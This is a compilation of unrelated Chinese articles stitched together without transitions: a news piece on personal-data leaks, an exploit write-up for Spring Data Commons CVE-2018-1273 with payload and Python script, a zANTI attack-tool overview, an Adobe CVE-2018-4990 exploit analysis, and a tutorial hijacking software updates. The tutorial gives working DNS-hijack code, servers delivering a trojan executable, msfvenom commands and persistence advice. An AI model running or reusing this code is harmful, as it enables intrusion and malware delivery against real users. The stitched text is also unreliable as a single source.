骚扰信息是老生常谈的话题了。近些年来,推销电话、垃圾短信、广告邮件等骚扰信息干扰了很多人的日常生活,让公众不堪其扰。记者在对周围数十位朋友进行随机采访后发现,几乎所有人都被骚扰电话或短信“问候”过。刚一报名考试就收到各类培训机构的推销短信,刚一交付新房就接到若干装修公司的骚扰电话……个人信息被泄露似乎已是见怪不怪,无可奈何。为何一直在跟进的相关治理措施效果不明显?如何才能阻止个人信息“被卖”,让人们享受安宁清心的正常生活?

20180123050542976.jpg

个人信息成了“唐僧肉”

“偷偷往你账户塞了30元红包,今天中午吃点好的。回T退订。”

“七周年特惠,品牌上新,半价秒杀,最后四小时,点击开抢!”

“恭喜您获得50000元现金贷额度,无需上门,最快2小时放款。”

骚扰电话和推销短信随时随处可见,已经成为社会的一大公害。《2017年中国手机安全状况报告》显示,近5年来,垃圾短信数量尽管有所下降,但总量仍然惊人。“网络时代,到底去哪里才能安放我的信息?”网友的感慨,实际上是信息时代的普遍焦虑。

“骚扰电话和短信是一种不可预期的烦扰,严重侵害公众的安宁权。并且,个人信息的泄露为不法分子准确、定向犯罪提供了可能,提高了犯罪的针对性,对社会公共生活和安全的威胁明显增加。”武汉大学法学院教授孙晋说。

此前,中国互联网协会曾发布《中国网民权益保护调查报告(2016)》,报告显示54%的网民认为个人信息泄露严重,其中21%的网民认为非常严重,84%的网民亲身感受到了由于个人信息泄露带来的不良影响。《报告》还称,仅从2015年下半年到2016年上半年,我国网民因为垃圾信息、诈骗信息、个人信息泄露等遭受的总体经济损失就高达915亿元。

个人信息成了“唐僧肉”,谁都想吃一口。“大数据时代,很多人通过钻‘大数据’和‘个人信息’界定模糊的空子,用大数据做幌子,散播或者倒买倒卖个人数据。”中国政法大学传播法中心研究员朱巍表示,目前贩卖个人信息、“精准推销”或“精准诈骗”,已形成一条地下灰色链条。

惩治贱卖信息的“黑手”

其实,骚扰信息的相关治理一直在跟进。5月1日,《信息安全技术个人信息安全规范》正式实施。更早以前,2017年6月1日,网络安全法正式施行。但由于信息泄露渠道多、窃取行为成本低、违法追查难度大,很多人在巨大的利益诱惑面前铤而走险。有专家指出,最关键的是要治理信息泄露的源头。

由于信息保护需要增加成本,一些平台和商家并不愿意花太多心思。一方面,面对系统漏洞熟视无睹,给企业“内鬼”可乘之机,形成灰色产业链。另一方面,部分平台和商家隐私条款极度不透明,“绑架”了用户的选择权。去年,有媒体发布1000家常用网站和APP隐私政策透明度报告。结果显示,没有1家能够达到透明度高的标准,而透明度较低和透明度低的平台个数加起来多达806个,超过总数的80%。

“个人信息保护的核心在于平台提供者,他们不但是搜集个人信息的主体,还负责信息流通的渠道,可通过广告联盟、用户画像等方式发送精准广告。”朱巍认为,平台提供者需认真落实网络安全法的要求。

天网恢恢。今年5月底,深圳开展第六次打击整治骚扰信息违法犯罪行动,查处缴获涉骚扰信息违法犯罪窝点24个、非法公民个人信息139万余条。北京5月份也开展打击网络侵犯公民个人信息犯罪,刑拘138人。江苏常州去年挖出一条巨大个人信息黑市交易链,抓获48名内鬼和82名中介商。惩治“黑手”力度越来越大。

守住尊重知情权的“底线”

北京师范大学法学院互联网政策与法律研究中心主任薛虹介绍,网络安全法对个人信息安全保护制定了明确规定,个人信息保护法也加快了立法进程。“全国人大常委会二次审议的电子商务法草案中,关于个人信息安全的内容在各个章节都有具体规定,还有一些制度创新和要求,比如个人信息泄露发生时,平台或商家要履行告知受害者的义务等。”

不堪其扰下,公众的个人信息保护意识和维权意识正在迅速增强。根据企鹅智酷发布的《2018年中国网民受骗与维权调查报告》,七成受访者希望进一步揭露违法收集个人信息的黑心企业。一旦遭遇信息诈骗,选择投诉曝光的受访者比例从去年的58.7%提升到83.1%。那些在个人信息保护上不思进取、企图继续钻空子的企业,迟早会被市场淘汰。

有学者指出,个人信息的隐私权是“尊重、友谊、爱、信任和个人自由的根本”,同时也是“在互联网和现实两个社会里维持文明与尊严的基本方式”。企业收集和使用个人信息,必须征得消费者同意,尊重消费者知情权,这个基本底线不能突破。那些不注重用户个人信息保护的企业,都会遭遇信任危机。从去年底支付宝年度账单授权漏洞事件,到今年海外社交网站脸书5000万用户数据泄露事件,都说明了这一点。

*本文来源:人民日报海外版,转载请注明原出处

前言

CVE-2018-1273 是 Spring-data-commons近期爆出的一个可远程执行代码的漏洞,为了了解更多细节,本文将从漏洞的成因,漏洞的判定以及漏洞的利用三个方面来进行详细说明。

漏洞的成因

当用户在项目中利用了Spring-data的相关web特性对用户的输入参数进行自动匹配的时候,会将用户提交的form表单的key值作为Spel的执行内容,而这一步就是本次漏洞的爆发点。

漏洞的判定

确认目标项目中含有Spring-data-commons包并且版本范围如下

Spring Data Commons 1.13 to 1.13.10
Spring Data Commons 2.0 to 2.0.5

查看相关特性是否已经开启

[email protected] 被显示声明

[email protected] 没有显示声明,但采用了spring-boot框架的自动扫描特性 当采用Spring-boot的自动扫描特性的时候,在启动时会自动加载 SpringDataWebConfiguration类效果与上述相同

3.在非注解声明项目中,如果有如下声明,也视为开启了相关的特性

  <bean class="org.springframework.data.web.config.SpringDataWebConfiguration" />

检查带@RequestMapping的接口,方法的参数为一个自定义的接口(Interface)

满足如上条件的靶子代码如下

  @SpringBootApplication
  public class App {
      public static void main(String[] args) {
          SpringApplication.run(App.class);
      }
      @Controller
      public class TestController {
          @RequestMapping("test")
          public void CVEController(TestForm testForm){
              System.out.println(testForm.getName());
          }
      }
      interface TestForm {
          String getName();
      }
  }

漏洞的利用

根据上述判定出来的漏洞点,我们可以构造如下攻击代码

1.构建一个Http的Post请求2.利用form表单提交的方式来提交我们的key value3.在key的名称中包含此次攻击代码4.提交的key为上文的 getName() 方法的 name5.在name后面补上一段Spel支持的代码片段,key将变成如 name[T(java.lang.Runtime).getRuntime().exec("calc")]

最终playload如下

POST /test HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: application/x-www-form-urlencoded
Cache-Control: no-cache
name%5BT(java.lang.Runtime).getRuntime().exec(%22calc%22)%5D=v

用python写的简单脚本如下

import http.client, urllib.parse
command = "calc.exe"
key = 'name[T(java.lang.Runtime).getRuntime().exec("%s")]' % command
params = urllib.parse.urlencode({key: 'v'})
headers = {"Content-type": "application/x-www-form-urlencoded"}
conn = http.client.HTTPConnection(host="localhost",port=8080)
conn.request("POST", "/test", params, headers)
conn.close()

总而言之当满足漏洞条件时,只需要发送一个特定的key就可以了

Spring-data-commons漏洞被执行的流程

本次漏洞的成因,主要在于Spring在自动解析用户的参数的时候采用了 SpelExpressionParser 来解析propertyName

MapDataBinder.java 169行

  Expression expression = PARSER.parseExpression(propertyName);
  PropertyPath leafProperty = getPropertyPath(propertyName).getLeafProperty();
  TypeInformation<?> owningType = leafProperty.getOwningType();
  TypeInformation<?> propertyType = owningType.getProperty(leafProperty.getSegment());
  propertyType = propertyName.endsWith("]") ? propertyType.getActualType() : propertyType;
  if (conversionRequired(value, propertyType.getType())) {
    PropertyDescriptor descriptor = BeanUtils
        .getPropertyDescriptor(owningType.getType(), leafProperty.getSegment());
    MethodParameter methodParameter = new MethodParameter(descriptor.getReadMethod(), -1);
    TypeDescriptor typeDescriptor = TypeDescriptor.nested(methodParameter, 0);
    value = conversionService.convert(value, TypeDescriptor.forObject(value), typeDescriptor);
  }
  expression.setValue(context, value);

那么这个MapMapDataBinder是怎么被调用起来的呢,我们简要地说一下 SpringMVC在解析参数这个部分

SpringDataWebConfiguration 类的特性被启用的时候,会将 ProxyingHandlerMethodArgumentResolver 注册到容器中去

当SpringMVC得到一个请求的时候,会遍历容器中注册的 HandlerMethodArgumentResolver 调用他们的supportsParameter方法。由于我们的参数是一个Interface(接口),那么 ProxyingHandlerMethodArgumentResolver 就会告诉调用方,它支持这个参数的解析即 supportsParameter 会返回true,但在实际中还会有多个判断比如该接口不能是java包下的,也不能是org.springframework包下的

ProxyingHandlerMethodArgumentResolver在拿到参数的时候会创建一个MapDataBinder来解析参数MapDataBinder.bind()方法,会连带进行doBind操作,最终会调用到 setPropertyValue 方法来,最后在 expression.setValue(context, value) 的时候触发了漏洞

关于Spring的Spel

SPEL全称Spring Expression Language,简要翻译就是Spring自带的表达式语言,如代码所示Spring提供以下特性

  public class SpelExample {
  public static void main(String[] args) {
      SpelExample spelExample=new SpelExample();
      spelExample.supportValue();
      spelExample.supportClassMethod();
      spelExample.supportProperty();
      spelExample.supportArray();
      spelExample.supportCustomIndex();
      spelExample.supportCustomProperty();
      spelExample.runPlayLoad();
  }
  /*
  * 支持一个值
  * */
  public void supportValue(){
      SpelExpressionParser parser=new SpelExpressionParser(new SpelParserConfiguration(false, true));
      Expression exp = parser.parseExpression("'this is a value'");
      System.out.println(exp.getValue()); // this is a value
  }
  /*
      支持执行一个java类的方法
   */
  public void supportClassMethod(){
      SpelExpressionParser parser=new SpelExpressionParser(new SpelParserConfiguration(false, true));
      Expression exp = parser.parseExpression("T(java.lang.Math).random() * 100.0");
      System.out.println(exp.getValue());//返回一个随机数
  }
  /*
  * 支持对目标对象进行赋值
  * */
  public void supportProperty(){
      SpelExpressionParser parser=new SpelExpressionParser(new SpelParserConfiguration(false, true));
      Expression exp = parser.parseExpression("name='set my value'");
      MockClass mockClass=new MockClass();
      exp.getValue(mockClass);
      System.out.println(mockClass.name); //set my value
  }
  /**
   * 如果属性是一个数组也支持
   * */
  public void supportArray(){
      SpelExpressionParser parser=new SpelExpressionParser(new SpelParserConfiguration(false, true));
      //T(java.lang.Math.abs(0)) 会返回0
      Expression exp = parser.parseExpression("list[0]='list value'");
      MockClass mockClass=new MockClass();
      exp.getValue(mockClass);
      System.out.println(mockClass.list[0]);//list value
  }
  /**
   * 数组的下标也是可以利用表达式求得
   * 注释:这里就是恶意代码能执行的关键
   * */
  public void supportCustomIndex(){
      SpelExpressionParser parser=new SpelExpressionParser(new SpelParserConfiguration(false, true));
      Expression exp = parser.parseExpression("list[T(java.lang.Math).abs(0)]='index is 0'");
      MockClass mockClass=new MockClass();
      exp.getValue(mockClass);
      System.out.println(mockClass.list[0]);//index is 0
  }
  /*
  * 也可以获取一个数组属性的指定下标的值
  * 这里就是上述漏洞利用的地方
  * */
  public void supportCustomProperty(){
      SpelExpressionParser parser=new SpelExpressionParser(new SpelParserConfiguration(false, true));
      //获取目标对象list属性中下标为1的值
      Expression exp = parser.parseExpression("list[T(java.lang.Math).abs(1)]");
      MockClass mockClass=new MockClass();
      System.out.println(exp.getValue(mockClass));// 输出 1,
  }
  /**
   * 执行我们的代码,拉起计算器
   * */
  public void runPlayLoad(){
      SpelExpressionParser parser=new SpelExpressionParser(new SpelParserConfiguration(false, true));
      //获取目标对象list属性中下标为1的值
      Expression exp = parser.parseExpression("list[[T(java.lang.Runtime).getRuntime().exec(\"calc\")]]");
      MockClass mockClass=new MockClass();
      System.out.println(exp.getValue(mockClass));// 输出 1,
  }
  class MockClass{
      //只有声明为public才能被赋值
      public String name;
      public String[] list=new String[]{"0","1"};
  }
}

以上就是此次CVE-2018-1273的详细细节,希望对你有帮助

引用

CVE-2018-1273 RCE with Spring Data Commons 分析报告

*本文作者:Moonlightos,转载请注明来自FreeBuf.COM

1.png

写在前面的话

zANTI是一款使用起来非常方便的移动端渗透测试工具和安全分析工具。在zANTI的帮助下,你可以模拟出现实世界最常见的网络渗透技术。不仅如此,你还可以利用zANTI快速发现自己网络中不安全的元素,并对当前设备所连接到的网络安全性进行测试。

工具演示视频

视频地址:https://youtu.be/VqekSTLleLQ

工具下载

zANTI3.0下载地址:【点我下载

功能简介

zANTI可以帮助测试人员了解到:

1.   当前网络的连接用户;

2.   网络中已连接设备的安全性;

3.   网络中不安全的设置;

4.   网络中不安全的应用程序;

5.   设备使用的安全情况;

6.   网络中哪个部分需要添加额外的网络安全保护;

扫描你的网络

从不同层面对目标网络进行扫描,识别连接设备并获取设备细节:

2.png3.png

获取细节信息

1.   设备名称、型号和制造商;

2.   设备操作系统及版本信息;

3.   设备开放端口、网络IP和MAC地址;

4.   用户终端;

4.png5.png6.png7.png

检测安全性较弱的节点

设备漏洞匹配:

8.png9.png

已知操作系统匹配:

10.png11.png

模拟攻击模式

执行中间人攻击:

1.   识别扫描过程中无法被发现的设备属性;

2.   检测Web浏览器和设备应用程序所发送的解密数据;

12.png13.png14.png

测试深度攻击方法

测试和执行其他中间人攻击技术:

1.   会话劫持;

2.   钓鱼攻击获取用户名和密码;

3.   浏览器重定向;

4.   图片替换;

15.png16.png17.png

18.png

一键报告

生成扫描报告,存储并分享报告:

19.png20.png21.png

后话

zANTI的存在,就是为了让你更加安全。

* 参考来源:zimperium,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

*本文原创作者:R1ngk3y,本文属FreeBuf原创奖励计划,未经许可禁止转载

严正声明:本文仅限于技术讨论与分享,严禁用于非法途径。

前言

很多时候对目标进行渗透时一般会从web、网络设备、针对性钓鱼这三个方向入手。假设我们控制了目标网络中的一台网络设备,如路由器,内网用户流量会从这个地方经过我们怎么获取其权限呢 ?

这种时候可以在路由器上抓包分析用户流量,比如启动xshell、notepad++等软件时发送的更新请求包,然后我们替换软件更新的http响应包达到植入木马目的。

分析流量一般用tcpdump,如果只有路由器后台权限没有地方可以执行命令的话可以用DNS服务器配合HTTP代理来截获流量。

这里就演示一下去劫持软件更新服务器达到植入木马的目的

一、部署DNS服务器

为了方便演示这里将受害者机器上的DNS改为攻击者IP

下载sqlmap项目提取sqlmap\sqlmap-stable\lib\request目录中的dns.py

执行看看效果

在用户机器上ping了一下,DNS服务器这边已经成功接收域名解析请求并响应127.0.0.1

但是这个脚本中把所有域名解析请求都响应成127.0.0.1

需要修改一下

我们的需求是能够正常解析域名,再对某些指定域名进行劫持。

修改后代码如下

#!/usr/bin/env python"""
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission
"""import osimport reimport socketimport threadingimport timeimport dns.resolverclass DNSQuery(object):
    """
    Used for making fake DNS resolution responses based on received
    raw request
    Reference(s):

http://code.activestate.com/recipes/491264-mini-fake-dns-server/


https://code.google.com/p/marlon-tools/source/browse/tools/dnsproxy/dnsproxy.py

    """
    def __init__(self, raw):
        self._raw = raw
        self._query = ""
        type_ = (ord(raw[2]) >> 3) & 15                 # Opcode bits
        if type_ == 0:                                  # Standard query
            i = 12
            j = ord(raw[i])            while j != 0:
                self._query += raw[i + 1:i + j + 1] + '.'
                i = i + j + 1
                j = ord(raw[i])    def response(self, resolution):
        """
        Crafts raw DNS resolution response packet
        """
        retVal = ""
        if self._query:
            retVal += self._raw[:2]                                             # Transaction ID
            retVal += "\x85\x80"                                                # Flags (Standard query response, No error)
            retVal += self._raw[4:6] + self._raw[4:6] + "\x00\x00\x00\x00"      # Questions and Answers Counts
            retVal += self._raw[12:(12 + self._raw[12:].find("\x00") + 5)]      # Original Domain Name Query
            retVal += "\xc0\x0c"                                                # Pointer to domain name
            retVal += "\x00\x01"                                                # Type A
            retVal += "\x00\x01"                                                # Class IN
            retVal += "\x00\x00\x00\x20"                                        # TTL (32 seconds)
            retVal += "\x00\x04"                                                # Data length
            retVal += "".join(chr(int(_)) for _ in resolution.split('.'))       # 4 bytes of IP
        return retValclass DNSServer(object):
    def __init__(self):
        self.my_resolver = dns.resolver.Resolver()
        self.my_resolver.nameservers = ['8.8.8.8']
        self._check_localhost()
        self._requests = []
        self._lock = threading.Lock()        try:
            self._socket = socket._orig_socket(socket.AF_INET, socket.SOCK_DGRAM)        except AttributeError:
            self._socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        self._socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self._socket.bind(("", 53))
        self._running = False
        self._initialized = False
    def _check_localhost(self):
        response = ""
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
            s.connect(("", 53))
            s.send("6509012000010000000000010377777706676f6f676c6503636f6d00000100010000291000000000000000".decode("hex"))  # A www.google.com
            response = s.recv(512)        except:            pass
        finally:            if response and "google" in response:                raise socket.error("another DNS service already running on *:53")    def pop(self, prefix=None, suffix=None):
        """
        Returns received DNS resolution request (if any) that has given
        prefix/suffix combination (e.g. prefix.<query result>.suffix.domain)
        """
        retVal = None
        with self._lock:            for _ in self._requests:                if prefix is None and suffix is None or re.search("%s\..+\.%s" % (prefix, suffix), _, re.I):
                    retVal = _
                    self._requests.remove(_)                    break
        return retVal    def get_domain_A(self,domain):
        try:
            results=self.my_resolver.query(domain,'A')            for i in results.response.answer:                for j in i.items:                    try:
                        ip_address = j.address                        if re.match('\d+\.+\d+\.+\d+\.+\d', ip_address):                            return ip_address                    except AttributeError as e:                        continue
        except Exception as e:            return '127.0.0.1'
            
    def run(self):
        """
        Runs a DNSServer instance as a daemon thread (killed by program exit)
        """
        def _():
            try:
                self._running = True
                self._initialized = True
                while True:
                    data, addr = self._socket.recvfrom(1024)
                    _ = DNSQuery(data)
                    domain=_._query[:-1] ###### exploit
                    ip=self.get_domain_A(domain)                    if domain=='cdn.netsarang.net':
                        ip='192.168.80.142'
                    print domain,' -> ',ip
                    self._socket.sendto(_.response(ip), addr)                    with self._lock:
                        self._requests.append(_._query)            except KeyboardInterrupt:                raise
            finally:
                self._running = False
        thread = threading.Thread(target=_)
        thread.daemon = True
        thread.start()if __name__ == "__main__":
    server = None
    try:
        server = DNSServer()
        server.run()        while not server._initialized:
            time.sleep(0.1)        while server._running:            while True:
                _ = server.pop()                if _ is None:                    break
                else:
                    domian=_[:-1]                    #print "[i] %s with A %s" % (domian,server.get_domain_A(domian))
            time.sleep(1)    except socket.error, ex:        if 'Permission' in str(ex):            print "[x] Please run with sudo/Administrator privileges"
        else:            raise
    except KeyboardInterrupt:
        os._exit(0)    finally:        if server:
            server._running = False

这个脚本的功能是将用户的DNS请求转发给GOOGLE的DNS服务器使用户能够正常上网,然后再对指定域名做劫持

可以看到现在用户已经可以正常上网了

然后部署HTTP代理服务器

代码我已经写好了

# -*- coding: UTF-8 -*-import socketimport threading, getopt, sys, stringimport re#设置默认的最大连接数和端口号list=50port=80file_contents=open('myrat.exe','rb').read()def req_server():
    return 'HTTP/1.1 200 OK\r\nContent-Length: 303641\r\nContent-Type: application/force-download\r\nLast-Modified: Fri, 10 Jan 2014 03:54:35 GMT\r\nAccept-Ranges: bytes\r\nETag: "80f5adb7dcf1:474"\r\nServer: Microsoft-IIS/6.0\r\nX-Powered-By: ASP.NET\r\nDate: Thu, 24 May 2018 06:25:45 GMT\r\nConnection: close\r\n\r\n'+file_contents    
def jonnyS(client, address):
    try:    #设置超时时间
        client.settimeout(500)    #接收数据的大小
        buf = client.recv(2048)        print buf    #将接收到的信息原样的返回到客户端中
        client.send(req_server())    #超时后显示退出
    except socket.timeout:        print 'time out'
    #关闭与客户端的连接
    client.close()def main():
    #创建socket对象。调用socket构造函数
    #AF_INET为ip地址族,SOCK_STREAM为流套接字
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    #将socket绑定到指定地址,第一个参数为ip地址,第二个参数为端口号
    sock.bind(('0.0.0.0', port))    #设置最多连接数量
    sock.listen(list)    while True:    #服务器套接字通过socket的accept方法等待客户请求一个连接
        client, address = sock.accept()
        thread = threading.Thread(target=jonnyS, args=(client, address))
        thread.start()if __name__ == '__main__':
    main()

这里的功能是收到用户的HTTP请求后直接响应一个二进制文件,也就是我们的木马

效果如下

很多软件更新时都走的https所以我们还需搭建https代理服务器

搭建HTTPS代理服务器

代码如下

import socketserver, ssl, timeclass MyHTTPSHandler_socket(socketserver.BaseRequestHandler):
    def handle(self):
        context = ssl.SSLContext(ssl.PROTOCOL_SSLv23)
        context.load_cert_chain(certfile="cert.pem")
        SSLSocket = context.wrap_socket(self.request, server_side=True)
        self.data = SSLSocket.recv(1024)
        print(self.data)
        file_contents=open('myrat.exe','rb').read()
        buf = 'HTTP/1.1 200 OK\r\nContent-Length: 303641\r\nContent-Type: application/force-download\r\nLast-Modified: Fri, 10 Jan 2014 03:54:35 GMT\r\nAccept-Ranges: bytes\r\nETag: "80f5adb7dcf1:474"\r\nServer: Microsoft-IIS/6.0\r\nX-Powered-By: ASP.NET\r\nDate: Thu, 24 May 2018 06:25:45 GMT\r\nConnection: close\r\n\r\n'+file_contents
        SSLSocket.send(buf)if __name__ == "__main__":
    port = 443
    httpd = socketserver.TCPServer(('0.0.0.0', port), MyHTTPSHandler_socket)
    httpd.serve_forever()

执行openssl req -new -x509 -keyout https_svr_key.pem -out https_svr_key.pem -days 3650 -nodes  可以生成证书

搭建好后配置木马,这里就用msf做演示

msfvenom -p windows/ -f exe -o myrat.exe

然后看一下xshell的更新请求

域名是cdn.netsarang.net,看一下流量

可以看到是走的https

在dns服务器中添加如下

架设https服务器

运行脚本和msf监听

视频效果图

总结

1.可以针对firefox等自动更新或后台静默更新的这类应用程序进行流量替换,这样成功率会很高被发现可能性也小

2.当更新包请求是https时需要注意证书问题,可以尝试利用cname绕过,比如在dns服务器上把www.baidu.com重定向到www.exploit.com,我们有www.exploit.com的合法证书这样就不会报错.

3.在路由器上修改DNS也可以作为一种持久性控制的手段,某天权限不慎丢失了,继续植入就行了。

*本文原创作者:R1ngk3y,本文属FreeBuf原创奖励计划,未经许可禁止转载

背景

2018年5月15日,ESET发布文章“A tale of two zero-days”,该文章披露了今年3月ESET在恶意软件扫描引擎(VirusTotal)上捕获了一个用于攻击测试的 PDF文档。该PDF文档样本包含两枚0-day漏洞(CVE-2018-4990,CVE-2018-8120)以实现针对Adobe Acrobat/Reader PDF阅读器的任意代码执行。其中CVE-2018-4990为Adobe PDF阅读器的代码执行漏洞,而CVE-2018-8120则是Windows操作系统Win32k的内核提权漏洞,在获取代码执行权限后通过内核提权漏洞绕过Adobe PDF阅读器的沙盒保护,实现任意代码执行。

漏洞利用回溯分析

360威胁情报中心分析确认披露的漏洞可被利用,在本文中我们试图通过公开的POC样本中针对Adobe Acrobat/Reader代码执行的漏洞(CVE-2018-4990)利用过程进行详细分析,并记录整个分析过程。如有分析不当之处敬请谅解。

分析环境

操作系统:Windows 7 SP1

AdobeReader DC:1700920044

样本MD5:bd23ad33accef14684d42c32769092a0

Payload功能解析

使用PDFStream打开漏洞样本,在尾部可以发现使用了JavaScript来触发利用漏洞:

image.png

通过分析可知,JavaScript中的前部分为PDF阅读器漏洞触发后加载运行的载荷,主要用于提权并执行恶意代码。而之后的JavaScript代码中则通过两个Array实例sprayarr及a1来实现内存Spray布局,这里需要注意的是a1对Array中奇数下标的element进行了释放,这是UAF类漏洞利用中常见的一种内存布局手法:

image.png

内存部署成功之后,接着在myfun1,myfun2中调用了两次触发double free的脚本,该脚本代码触发了double free,从而导致后来的代码执行,触发double free的脚本:

varf1 = this.getField("Button1");    

最后对array实例sprayarr2进行赋值,每个element为一个长度为0×20000-0×24的ArrayBuffer,接着遍历sprayarr可以发现其对应的某一个sprayarr的element长度被修改为了0×20000-0×24(默认的长度为0×10000-0×24),此时通过超长的sprayarr[i1]即可修改相邻的sprayarr[i1+1]对象的len长度属性,从脚本代码中可以看到长度被修改为了0×66666666,最终通过该超长的sprayarr[i1+1]即可实现全内存的读写:

image.png

为此攻击者编写了专门的利用超长sprayarr对象实现全内存读写的函数:

image.png

获取全内存读写能力后,POC中通过伪造bookmarkRoot的对象实现代码执行:

image.png

POC运行之后会导致崩溃:

image.png

崩溃的原因为objecscript地址为硬编码,其中0x23A59BA4-0×23800000的地址并不适配测试的Adobe Reader版本,从而导致崩溃:

image.png

通过对POC中的Payload功能解析,我们确定了POC中的几个需要分析的要点,这也是搞清楚整个漏洞利用的关键:

l sprayarr,a1在进行内存spray时的内存结构

l 触发double free的代码具体分析(var f1 = this.getField(“Button1″);)

l sprayarr2初始化时的内存状态,其初始每个element长度正好是sprayarr中超长element的长度,这不禁让我们怀疑sprayarr2和某个sprayarr重合了(或许是第二点中的代码将sprayarr中的某个element释放了?然后被sprayarr2重用?)

脚本分析及调试

带着Payload功能解析中得出了漏洞利用关键点我们开始逐一进行调试分析。

如何分析相关内存结构

样本中具体的漏洞触发/利用部分都是JavaScript脚本,因此调试的时候我们可以依赖对应的三角函数实现具体的中断。为了获取对应的内存结构,我们可以直接修改对应POC,比如在POC中创建一个Array的实例myContent,将该Array中第0个element赋值为0x1a2c3d4f,以便于内存搜索,之后分别将我们感兴趣的变量赋值到该Array中即可很方便的定位内存 进行分析:

image.png

通过上述的三角函数断下后,此时通过搜索0x1a2c3d4f即可找到对应的myContent结构,如下所示地址0x062035f8开始的数据则为对应的tag(标记为0x1a2c3d4f),之后的四字节值0xffffff81标记该element的type类型,再往后依次为我们赋值的element,由于都是Array,所以type均为0xffffff87:

image.png

而为了获取sprayarr和a1的内存状态,我们可以在下图位置下三角函数断点来方便调试:

image.png

sprayarr

有了分析脚本中内存结构的方法,我们通过上述的办法定位到sprayarr的内存结构,可以看到element个数为0×1000,偏移c的位置包含指向具体内存element的指针0x07e94718:

image.png

进一步可以看到对应的每一个element对象的地址,由于sprayarr的element为ArrayBuffer,所以其对应的type为0xffffff87,从下标1开始全部都是type为0xffffff87的ArrayBuffer:

image.png

查看下标为1的element对象的内存结构如下所示,大的红框分别对应的sprayarr[1]和sprayarr[2]中的Arraybuffer对象,其内存为连续布局。每个Arraybuffer对象偏移+c的位置为具体的内存空间,下图中每个Arraybuffer对象的实际内存空间也是连续分布,而内存中的两个值相减则正好为Arraybuffer初始化时的长度(0x88dc760 – 0x88cc760=10000):

image.png

进入到具体的Arraybuffer内存空间查看(0x88cc760),实际内存长度为ffe8(和分配的0×10000-0×24一致):

image.png

而sprayarr连续布局的内存空间一直到延伸到地址0x18ce0038:

image.png

al

继续使用分析相关内存结构的方法查看此时的al array,同理偏移+c的地方指向了具体的element:

image.png由于a1中的奇数下标的element在此时已经被释放,因此右侧element的内存都为0,此处选择al[2]进行查看,可以看到0x074926d8处保存了对应的长度,之后0x74926E0处指向脚本代码中对应的Uint32Array,起偏移+0xC的位置包含了指向具体内存的指针,而0x063008a0处即为对应的Uint32Array(252),其长度为252*4=1008=0x3f0,而a1中有所Uint32Array最后都指向连续布局的内存空间:

image.png对应的JavaScript脚本,其中a1i1,a1i1的值在此时分别为0x0d0e0048和0x0d0f0048:

image.pngUint32Array(252)对应的内存布局(0x063008a0):

image.png释放的al[3]对象内存布局:

image.pngUint32Array最终的内存布局(从0×06300890开始到0x88be180):

image.png

sprayarr2

对sprayarr2的内存布局分析同样通过三角函数在sprayarr长度修改后断下:

image.pngsprayarr2的内存结构不过多展示,和sprayarr大致相同,此时sprayarr[i1]的长度已经被修改为0x1ffe8:

image.png其后相邻element的len也被修改为0×66666666:

image.png整个sprayarr的起始地址对应的内存数据:

image.png检查sprayarr2内存,发现sprayarr中被修改的element和sprayarr2中的某个element指向同一片内存:

image.png

而sprayarr2中除了和sprayarr中一致的0x0d0e0058外可以发现,正常情况下,sprayarr2的element内存地址是从0x18d4a0d8开始的一片连续内存,而此处0x0d0e0058更像是漏洞利用中占坑的结果,这也肯定了我们之前的猜测,sprayarr中的内存被释放然后被sprayarr2占据,由于正好占据的长度为spayarr element大小的两倍,因此可以猜测释放了两次,每次释放一个sprayarr element:

image.png

这里值得注意的是重用的内存地址0x0d0e0058似乎和POC中a1i1和a1i1的值非常接近,难道是通过这个地方控制的释放?

image.png

释放函数定位

为了验证到底是否是var f1 = this.getField(“Button1″);相关代码导致了对应的a1i1和a1i1中的精确地址释放,通过以下windbg断点进行验证:

buMSVCR120!free ".if poi(esp+4)=0x0d0e0048{}.else{gc}"            

由于该函数在程序运行中会被大量调用,直接下断点会导致程序卡死,而且此处我们是为了验证var f1 = this.getField(“Button1″);相关代码是否导致了sprayarr中的element被释放,因此可以在该代码前后加log函数,log被断下后再下对应的free断点并运行:

image.png

再次运行,调试器断下,可以看到此时正在释放地址0x0d0e0048中的内存,可以看到是JP2KLib!JP2kCopyRect+0xbae6调用了free释放函数:

image.png

查看JP2KLib!JP2kCopyRect+0xbae6即可定位到漏洞触发点(释放函数):

image.png

动态调试分析可以发现漏洞函数运行到该loop前,其循环遍历的地址为eax,而eax的值为0x08AA2820(通过poi(poi(esi+0×48)+0x0c)获取):

image.png

而0x08aa2820正好为脚本中的a1中某个释放的hole,即其大小为0x3f0:

image.png

而循环的校验值为0xff,0xfe*4 = 0x3f8,即可以访问到之后的a1i1和a1i1(0x0d0e0048,0x0d0f0048):

image.png

之后继续访问并读取地址0x0d0e0048中的数据,并通过eax传入函数sub_10066FEA。

image.png

sub_10066FEA最终会调用MSVCR120!free释放该内存:

image.png

精准的内存释放过程

动态调试得知第一次调用var f1 = this.getField(“Button1″);相关函数将导致0x0d0e0048对应的0×10000长度的内存被释放:

image.png

继续循环执行后,漏洞函数读取之后的地址0x0d0f0048中的数据,并释放对应大小为0×10000的内存,此时两次释放了总共0×20000长度的内存(两次释放由myfun1函数中的getField相关代码完成,myfun2中的getField删除不影响利用):

image.png

通过对比hole被占据成buffer后的内存结构和正常a1的element就可以发现,该结构中寻址的起始地址要比之前的element低16个字节,因此获取a1i1和a1i1 element时的寻址编号分别是0xfd和0xfe:

image.png

最后通过sprayarra2赋值抢占该0×20000的内存,一旦分配成功,即变相的将sprayarr中0x0d0f0048位置的element的长度从0xffe8修改为0x11fe8:

image.png

漏洞触发原理分析

分析到这还剩最后两个疑问。

1. poi(poi(esi+0×48)+0x0c)这个被遍历的地址是如何被分配的?

2. poi(poi(esi+0×48)+0×04)处的0xff来自何处?

第一个问题

通过调试回溯,我们找到了具体的jp2h解析函数,如下所示:

image.png

其对应的参数如下:

参数1:getField(“Button1″)获取的图片的实际大小

参数2:poi(poi(esi+0×48)+0x0c)

参数3:图片的对象,可以看到包含的具体图片内容

函数调用前,poi(poi(esi+0×48)+0x0c)这个地址初始化为零:

image.png

